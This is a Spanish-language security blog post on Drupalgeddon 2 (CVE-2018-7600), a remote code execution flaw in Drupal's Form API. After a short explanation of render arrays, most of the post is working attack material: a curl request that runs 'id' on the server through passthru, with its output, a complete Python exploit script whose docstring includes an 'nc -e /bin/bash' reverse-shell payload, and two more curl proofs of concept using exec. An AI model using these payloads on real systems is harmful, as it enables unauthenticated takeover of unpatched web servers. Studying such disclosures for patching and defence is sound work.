¡Llega #Drupalgeddon2! RCE inyectando en arrays renderizables

Allá por el año 2014 se descubrió un SQLi en Drupal tan grave que en cuestión de horas permitió automatizar ataques que comprometieron a cientos o quizás miles de servidores vulnerables. Fue lo que se denominó Drupalgeddon y continuó explotándose incluso dos años después de su descubrimiento.... Pues bien, segundas partes nunca fueron buenas y hace dos semanas se avisó de la existencia de otra vulnerabilidad crítica en Drupal (con una puntuación de 21 sobre 25 en el ranking del NIST) que fue bautizada como su sucesora: Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600).

Si bien inicialmente no se conocía demasiado sobre esta nueva vulnerabilidad, Checkpoint publicó el detalle recientemente y ya tenemos los primeros exploits disponibles que permiten la ejecución remota de código incluso sin autenticación y en todas las versiones de Drupal de la 6 a la 8, excepto las últimas de cada release que precisamente se publicaron para corregir este fallo: son vulnerables los Drupal anteriores a 7.58, 8.x anteriores a 8.3.9, 8.4.x anteriores a 8.4.6 y 8.5.x anteriores a 8.5.1.

El problema radica fundamentalmente en la inadecuada sanitización de las solicitudes AJAX de Form API (FAPI) que pueden permitir a un atacante inyectar potencialmente una carga maliciosa en la estructura de un formulario interno.

Aunque se introdujo en la versión 6 no fue hasta la versión 7 cuando se generalizó este API para los formularios con "arrays renderizados".  Esta API extendida se usa para representar la estructura de la mayoría de los elementos de la interfaz de usuario en Drupal, como páginas, bloques, nodos y demás. Los arrays renderizables contienen metadatos que se usan en el proceso de renderizado. Estos arrays renderizables son una estructura de clave-valor en los que las claves de propiedad comienzan con un signo de almohadilla (#), por ejemplo:

[
‘#type’ => ‘markup’,
‘#markup’ => ‘some text’,
‘#prefix’ => ‘
’,
‘#suffix’ => ‘

]

Como vector de ataque tenemos por defecto algunos formularios disponibles como el de registro de usuario:


En la estructura de dicho formulario se inyecta una array renderizable y por ejemplo el campo “Email address” no sanitiza la entrada que recibe.




Cuando un usuario rellena el formulario AJAX, se realizará una solicitud a Drupal para renderizar el markup HTML y actualizar el formulario. Si por ejemplo se sube una imagen, el servidor cargará o remplazará la miniatura correspondiente y para ello en el callback mandará una petición GET para ver la parte del formulario que necesita actualizarse en el cliente.
 
En conclusión, todo lo que había que hacer era inyectar en un array de renderización malicioso que utilizara una devolución de llamada o callback de representación de Drupal para ejecutar código en el sistema. Y este es el resultado:

curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id' 'http://192.168.1.64/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

Cómo veis, con una simple petición con curl conseguimos ejecutar código en el servidor. En ese caso se inyecta en la propiedad #post_render y se utiliza la función de php passthru, pero podemos cargar el payload con lo que se nos ocurra: exec, check, system u otros comandos para conseguir obtener información o incluso una shell reversa como con este script de a2u y nixawk:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# CVE-2018-7600
# Drupal: Unsanitized requests allow remote attackers to execute arbitrary code

"""Tested against Drupal 8.4.5

$ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
$ setup Apache2 + Mysql + Drupal
$ python exploit-CVE-2018-7600.py

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 167
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 02:45:34 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 156
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

"""

# sudo pip install requests


from __future__ import print_function

__all__ = ['exploit']
__author__ = [
    'a2u',   # module developer
    'Nixawk' # module Improved
]

import sys
import requests


def exploit(drupal_home_url, cmd):
    """Exploit CVE-2018-7600 drupal: Unsanitized requests allow remote attackers to execute arbitrary code
    """

    # url += 'user/register'  # Clean URLs - Enabled
    
    params = {
        'element_parents': 'account/mail/#value',
        'ajax_form': 1,
        '_wrapper_format': 'drupal_ajax'
    }

    payload = {
        'form_id': 'user_register_form',
        '_drupal_ajax': '1',
        'mail[#type]': 'markup',
        'mail[#post_render][]': 'exec',
        'mail[#markup]': cmd
    }

    resp = requests.post(
        # url,
        requests.compat.urljoin(drupal_home_url, '/user/register'),
        params=params, data=payload)
    # print(resp.status_code)

    if resp.status_code != 200:
        sys.exit("Not exploitable")


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
        sys.exit(0)

    exploit(sys.argv[1], sys.argv[2])


## References
# https://research.checkpoint.com/uncovering-drupalgeddon-2/
# http://www.securityfocus.com/bid/103534
# http://www.securitytracker.com/id/1040598
# https://blog.appsecco.com/remote-code-execution-with-drupal-core-sa-core-2018-002-95e6ecc0c714
# https://github.com/a2u/CVE-2018-7600
# https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
# https://greysec.net/showthread.php?tid=2912&pid=10561
# https://groups.drupal.org/security/faq-2018-002
# https://lists.debian.org/debian-lts-announce/2018/03/msg00028.html
# https://twitter.com/arancaytar/status/979090719003627521
# https://twitter.com/RicterZ/status/979567469726613504
# https://www.debian.org/security/2018/dsa-4156
# https://www.drupal.org/sa-core-2018-002
# https://www.synology.com/support/security/Synology_SA_18_17
# https://www.tenable.com/blog/critical-drupal-core-vulnerability-what-you-need-to-know
# https://gist.github.com/AlbinoDrought/626c07ee96bae21cb174003c9c710384


Vectores de ataque:

PoC #1 - lazy_builder / timezone / exec

Usa el parámetro "lazy_builder", con objetivo timezone, usando la función de PHP exec.

  curl -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/1'


El servidor dará respuestas 500 y mostrará "El sitio web encontró un error inesperado. Vuelva a intentarlo más tarde". NO puede representar la salida en la respuesta (¡ciego!).

PoC #2 - post_render / mail / exec

Usa el parámetro "post_render", con objetivo timezone, usando la función de PHP exec.

curl -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=touch+/tmp/2'


El servidor dará respuestas 200 y mostrará un JSON. PUEDE representar el resultado en la respuesta (por eh.uname -a).

Otros scripts ya publicados y referencias:

- https://github.com/a2u/CVE-2018-7600
- https://www.exploit-db.com/exploits/44448/
- https://github.com/dreadlocked/Drupalgeddon2
- https://www.exploit-db.com/exploits/44449/
- https://research.checkpoint.com/uncovering-drupalgeddon-2/
- https://0day.asia/drupal-remote-code-execution-exploit
- https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

Comentarios